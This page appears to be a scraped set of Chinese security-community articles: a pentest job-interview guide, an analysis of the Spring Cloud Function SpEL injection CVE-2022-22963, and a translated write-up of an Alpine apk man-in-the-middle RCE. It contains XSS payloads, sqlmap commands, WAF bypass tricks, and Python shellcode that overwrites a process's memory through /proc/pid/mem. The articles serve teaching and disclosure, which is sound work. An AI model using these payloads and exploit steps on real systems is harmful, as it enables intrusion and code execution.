总结基于笔者本人的几次面试经历，都是自己投简历（广州的几家公司），没有校招。这里简单介绍一下：我自学web渗透和Android逆向半年有余，计算机网络专业的专科生，通过赛事接触web渗透，慢慢接触Android逆向，继而初识网络安全。没有什么值得吹嘘的事，O(∩_∩)O哈哈~，没事就学习研究，个人博客
<http://a--o--e.lofter.com>
### 00x01 现场面试准备
1. 简历（打印3份以上，彩色），身份证，毕业证等资料；
2. 电脑（无线鼠标，电源线等）；
3. 本子和笔，着装整洁，守时（提前20分钟到）；
4. 面试公司的认识（地点，公司发展时间戳，部门，面试官等）。
### 00x02 对于电话面试（技术员工）- 可看着读
1. 约好时间并提前15分钟找个安静，信号好，没人打扰的地方，注意手机电量；
2. 站着进行电话面试，保持微笑，通话可录音；
3. 一份简历，本子和笔，耳机等（看着简历来）；
4. 先想好，面试官会问的问题及答案，记要点（渗透测试的思路等）。
### 00x03 面试官问的问题（技术员工或部门经理+HR）
#### Q1 自我介绍
1）可参照简历
2）有条理（三分钟左右）
#### Q2 一个网站的渗透测试思路，流程（给你一个网站，怎么做？）
1）信息收集
a. 服务器的相关信息（真实ip，系统类型，版本，开放端口，WAF等）
b. 网站指纹识别（包括，cms，cdn，证书等），dns记录
c. whois信息，姓名，备案，邮箱，电话反查（邮箱丢社工库，社工准备等）
d. 子域名收集，旁站查询(有授权可渗透)，C段等
e. google hacking针对化搜索，pdf文件，中间件版本，弱口令扫描等
f. 扫描网站目录结构，爆后台，网站banner，测试文件，备份等敏感文件泄漏等
i. 传输协议，通用漏洞，exp，github源码等
2）漏洞挖掘
1> 浏览网站，看看网站规模，功能，特点等
2> 端口，弱口令，目录等扫描
3> XSS，SQL注入，命令注入，CSRF，cookie安全检测，敏感信息，通信数据传输，暴力破解，任意文件上传，越权访问，未授权访问，目录遍历，文件
包含，重放攻击（短信轰炸），服务器漏洞检测，最后使用漏扫工具等
3）漏洞利用 | 权限提升
a) mysql提权，serv-u提权，linux内核版本提权等
4）清除测试数据 | 输出报告
i 日志、测试数据的清理
ii 总结，输出渗透测试报告，附修复方案
5) 复测
验证并发现是否有新漏洞，输出报告，归档
#### Q3 一个APP的逆向分析思路（给你一个APP，怎么做？）
这里简单列一下app测试的大纲，详细不便放出（可参照OWASP的mstg）：<https://github.com/OWASP/owasp-mstg/>
1代码保护检测，2数据存储安全，3加密算法，4四大组件安全，5应用规范 等
#### Q4 简述某一漏洞的原理和渗透手法（SQL注入，XSS，CSRF等）
[SQL注入- 百度百科](https://baike.baidu.com/item/sql%E6%B3%A8%E5%85%A5 "SQL注入-百度百科")
1. SQL注入原理
a. SQL（结构化语句查询）
b. 提交参数（调用数据库查询）的地方是用户可控的，并未做任何过滤处理
c. 分 数字型，字符型，搜索型，POST注入，Cookie注入，延时注入，盲注等
2. SQL注入，注入方法
1）如果是get型号，直接，sqlmap-u "注入点URL"
2）如果是post型诸如点，可以sqlmap-u "注入点URL” --data="post的参数"
3）如果是cookie，X-Forwarded-For等，可以访问的时候，用burpsuite抓包，注入处用 * 号替换，放到文件里，然后sqlmap -r
"文件地址"
[XSS跨站脚本攻击 -百度百科](https://baike.baidu.com/item/%E8%B7%A8%E7%AB%99%E8%84%9A%E6%9C%AC%E6%94%BB%E5%87%BB/8186208?fr=aladdin
"XSS跨站脚本攻击 - 百度百科")
1. XSS原理
网站未对用户输入的数据做过滤处理，构造特定的JS脚本插入到文本框可引发XSS，会被浏览器解析，执行
2. XSS常见攻击语句
"><BODY><"
"><svg /onload=prompt(1)><"
"><IMG SRC="javascript:alert('XSS');"><"
"><img src=" "=" "onerror="alert('xss')"><"
"><script>alert(document.cookie)</script><"
#### Q5 编程语言
1，python，JAVA，算法，二进制等编程能力（笔者暂未学，不深入探讨）
2，ARM汇编（基本的汇编指令，寄存器等）
#### Q6 WAF bypass
1，关键字可以用%（只限IIS系列）。比如select，可以 sel%e%ct
2，通杀的，内联注释，如 / _!select_ /
3，编码，可两次编码
4，multipart请求绕过，在POST请求中添加一个上传文件，绕过了绝大多数WAF
5，参数绕过，复制参数，id=1&id=1
6，内联注释
#### Q7 Kali的使用（Linux系统）
whatweb 指纹识别
dirb 目录扫描
whois whois查询
无线攻击套件
字典生成套件
爆破工具
[kali系统中的工具清单 - 官方介绍](https://tools.kali.org/tools-listing "kali系统中的工具清单 -官方介绍")
#### Q8 OWASP-Top10-2017
A1 注入， A2 失效的身份认证， A3 敏感信息泄露， A4 XML外部实体(XXE)， A5 失效的访问控制， A6 安全配置错误， A7
跨站脚本(XSS)， A8 不安全的反序列化， A9 使用含有已知漏洞的组件， A10 不足的日志记录和监控
[OWASP_Top_10_2017_中文版v1.2.pdf](https://www.owasp.org/images/5/58/OWASP_Top_10_2017_%E4%B8%AD%E6%96%87%E7%89%88v1.2.pdf
"OWASP_Top_10_2017_中文版v1.2.pdf")
#### Q9 网络安全事件应急响应（如，一业务主站被挂黑页的处理流程及应对方法）
1. 取证，登录服务器，备份，检查服务器敏感目录，查毒（搜索后门文件 - 注意文件的时间，用户，后缀等属性），调取日志（系统日志，中间件日志，WAF日 志等）；
2. 处理，恢复备份（快照回滚，最近一次），确定入侵方法（漏洞检测，并进行修复）
3. 溯源，查入侵IP，入侵手法（网路攻击事件）的确定等
4. 记录，归档----预防-事件检测-抑制-根除-恢复-跟踪-记录
通用漏洞的应对等其他安全应急事件
#### Q10 提交过的漏洞
国内外的漏洞提交平台，各SRC等
#### Q11 其他优势
1，新兴技术的研究（IOT安全，区块链，人工智能，机器学习等）
2，个人博客（原创文章），投稿，人脉，安全峰会，安全研究Paper, 安全议题分享等
3，比赛（CTF，团队比赛等），线下培训
4，在校经历（获奖，个人项目，团队活动，担任学生干部等）
5，英语 CET-4，CET-6
#### Q12 读过的技术书籍（学习的途径）
《白帽子讲web安全》、《ios应用逆向工程-第2版》、《加密与解密-第3版》、《汇编语言-第2版》、《OWASP-MSTG》
### 00x04 问面试官的问题
q1 贵公司，信息安全部门的规模，发展等
q2 任职后的工作职责，内容，出差，时间等
q3 劳动合同（实习生签三方协议和转正问题），是否解决户口
q4 薪资（税后），奖金，股票期权，福利，活动等
### 00x05 面试总结
1 记录面试官的问题和自己的回答
2 查漏补缺
3 收获
4 是否通过，下次面试或报道入职时间
### 00x06 扩展阅读
[网络安全、Web安全、渗透测试之笔经面经总结（三）-christychang](http://www.cnblogs.com/christychang/p/6593413.html
"网络安全、Web安全、渗透测试之笔经面经总结（三）- christychang")
[Web 安全渗透方面的学习路线? - 知乎](https://www.zhihu.com/question/21914899 "Web
安全渗透方面的学习路线? - 知乎")
[【分享】一套实用的渗透测试岗位面试题，你会吗？- Shun's Blog](http://www.shungg.cn/?post=70
"【分享】一套实用的渗透测试岗位面试题，你会吗？- Shun's Blog")
[面试前都需要做些什么准备？- 知乎](https://www.zhihu.com/question/25039418 "面试前都需要做些什么准备？-知乎") | 社区文章 |
**作者：xxhzz@星阑科技PortalLab
原文链接：<https://mp.weixin.qq.com/s/3DECgzKcovoCQcdZLGXCzA>**
## **前言**
在研究分析了CVE-2022-22980 Spring Data MongoDB
SpEL表达式注入漏洞之后，想起之前在spring4shell爆出之前，存在于SpringCloud
Function中的一个SpEL表达式注入漏洞，编号为CVE-2022-22963。在这里对其进行一波分析和学习。
## **漏洞描述**
Spring Cloud Function 是基于 Spring Boot
的函数计算框架。该项目致力于促进函数为主的开发单元，它抽象出所有传输细节和基础架构，并提供一个通用的模型，用于在各种平台上部署基于函数的软件。在Spring
Cloud Function 相关版本，存在SpEL表达式注入。恶意攻击者无需认证可通过构造特定的 HTTP 请求头注入 SpEL
表达式，最终执行任意命令，获取服务器权限。
## **利用范围**
3.0.0 <= Spring Cloud Function <= 3.2.2
## **漏洞分析**
#### **环境搭建**
使用idea新建Spring Cloud Function项目。
pom.xml中引入spring-boot-starter-web、spring-cloud-function-web
在application.properties中添加spring.cloud.function.definition=functionRouter
这里设置端口为8090，默认为8080
运行之后，环境搭建完成。
#### **前置知识**
**SpringCloud Function 相关介绍**
简单的介绍，Spring Cloud 是一系列框架的集合，
内部包含了许多框架，这些框架互相协作，共同来构建分布式系统。利用这些组件，可以非常方便地构建一个分布式系统。SpringCloudFunction就是一个SpringBoot开发的Servless中间件（FAAS）。
在环境搭建时，我们在application.properties中添加spring.cloud.function.definition=functionRouter
这里的属性spring.cloud.function.definition 表示声明式函数组合，简单理解就是一个默认路由。具体可参考如下说明。
**functionRouter**
我们设置spring.cloud.function.definition=functionRouter就是使默认路由绑定具体函数交由用户进行控制。
在spring-cloud-function-web中可以通过设置Message
Headers来传达路由指令，也可以路通过spring.cloud.function.definition
或spring.cloud.function.routing-expression作为应用程序属性进行通信，允许使用 Spring 表达式语言
(SpEL)。
这就是产生SpEL注入的关键所在。
#### **动态分析**
在理解了前置知识中相关原理，其实也就能大概知晓漏洞原理。
查看DIFF（<https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f>） 记录。
看到从请求头中获取的 spring.cloud.function.routing-expression
之前是由StandardEvaluationContext 解析，修复新增了 isViaHeader 变量做了一个判断，如果是从请求头中获取的
spring.cloud.function.routing-expression 值，使用 SimpleEvaluationContext 解析。
在spring.cloud.function.context.catalog.simpleFunctionRegistry#doApply中。
在执行function apply方法之后，会跳转到doApply中，对funtion进行判断，判断是不是functionRouter方法。
后续跟进，进入spring.cloud.function.context.config.Routingfunction#route
进入else if 分支， http头spring.cloud.function.routing-expression
不为空，则传入其值到functionFromExpression方法。
随后对传入的header进行解析处理。
后续跟进发现对Spel表达式进行解析的方法就是StandardEvaluationContext
后续跟进，在解析传入的Spel之后，成功触发恶意代码。
## **漏洞复现**
## **修复建议**
受影响的组件更新至3.1.7、3.2.3安全版本。
## **参考材料**
1.<https://docs.spring.io/spring-cloud-function/docs/3.2.2/reference/html/spring-cloud-function.html#_declarative_function_composition>
2.<https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f>
3.<https://spring.io.zh.xy2401.com/projects/spring-cloud-function/#overview>
* * * | 社区文章 |
本文翻译自：<https://justi.cz/security/2018/09/13/alpine-apk-rce.html>
* * *
研究人员在Alpine
Linux的默认包管理器中apk中发现了一些漏洞。Alpine与Docker非常类似，是一种轻量级的Linux发行版。这些漏洞允许网络中间人（恶意包镜像）在用户机器上执行任意代码。而当默认仓库不支持TLS时，这个问题更加严重。目前该bug已修复，Alpine镜像也已更新。
在获取代码执行权限后，研究人员找出一种在`/proc/<pid>/mem`中写入的方式使用原始的apk进程用`0`退出状态码退出，而无须`SYS_PTRACE`能力。结果就是可以成功利用用apk安装package的Dockerfile。
下面是利用Docker容器作网络中间人的代码示例：
<https://justi.cz/assets/apkpoc.mp4>
# 任意文件创建导致RCE
Alpine
packages以`.apk`文件的形式分发，这些`.apk`文件启示是gzip压缩的`tar`文件。当`apk`取回package时，在检查哈希值是否与签名过的manifest中一致前会提取到`\`。
提取文件时，每个文件名和硬链接的目标都加了`.apk-new`的后缀。如果`apk`文件发现下载的package的哈希值不对，就尝试取消所有提取的文件和目录的链接。
因为apk的`commit
hooks`特征，所以任意代码写很容易就可以转成代码执行。如果找到一种将文件提取到`/etc/apk/commit_hooks.d/`中的方法，并确保清理进程允许后文件还在，那么就可以在apk文件退出前执行。
有了下载的tar文件的控制权，就可以创建一个永久的`commit hook`，就像这样：
* 在`/etc/apk/commit_hooks.d/`目录下创建一个文件夹，提取的文件夹都没有`.apk-new`后缀；
* 在`/etc/apk/commit_hooks.d/x`下创建一个symlink，扩展的名会变成`link.apk-new`，但仍指向`/etc/apk/commit_hooks.d/x`；
* 创建一个名为`link`的文件（link.apk-new），可以通过symlink写，并在`/etc/apk/commit_hooks.d/x`中创建一个文件。
当apk文件发现package的哈希值与签名的index不匹配，首先会取消`link.apk-new`的链接，但`/etc/apk/commit_hooks.d/x`还是存在的。因为目录中不含payload，所以会用`ENOTEMPTY`取消`/etc/apk/commit_hooks.d/`的链接。
# 修复退出状态码
在apk文件退出前，在客户端上可以运行任意代码；因此找出一种能够使apk进程正常退出的方法很重要。如果在Dockerfile构建步骤中使用apk，如果apk返回非0退出状态码那这一步就失败了。
如果什么都不做，apk就会返回与未成功安装的包数量相等的退出状态码，但状态码也可能会溢出，如果`错误安装包数%256==0`，进程返回的退出状态码也是`0`。
研究任意首先尝试使用gdb来与进程相关，但调用的是`exit(0)`。Docker容器默认是没有`SYS_PTRACE`能力的，所以不能完成这一动作。如果root过的话，就可以在`/proc/<pid>/mem`目录下进行读写操作：
import subprocess
import re
pid = int(subprocess.check_output(["pidof", "apk"]))
print("\033[92mapk pid is {}\033[0m".format(pid))
maps_file = open("/proc/{}/maps".format(pid), 'r')
mem_file = open("/proc/{}/mem".format(pid), 'w', 0)
print("\033[92mEverything is fine! Please move along...\033[0m")
NOP = "90".decode("hex")
# xor rdi, rdi ; mov eax, 0x3c ; syscall
shellcode = "4831ffb83c0000000f05".decode("hex")
# based on https://unix.stackexchange.com/a/6302
for line in maps_file.readlines():
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
start = int(m.group(1), 16)
end = int(m.group(2), 16)
if "apk" in line and "r-xp" in line:
mem_file.seek(start)
nops_len = end - start - len(shellcode)
mem_file.write(NOP * nops_len)
mem_file.write(shellcode)
maps_file.close()
mem_file.close()
因此，研究人员：
* 用`pidof`找出了apk进程的pid；
* 用`/proc/<pid>/maps`找出进程可执行内存；
* 写一个直接`exit(0)`到内存的shellcode。
在commit hook退出后，apk恢复执行，就可以运行shellcode。
# 结论
如果有用户在生成环境下使用Alpine Linux，那么就需要：
1. 重构镜像。
2. 关注开发者的动态。好像apk的一个主要开发者已经修复了该bug，之后Alpine发布了一个新的发布版本。 | 社区文章 |
Subsets and Splits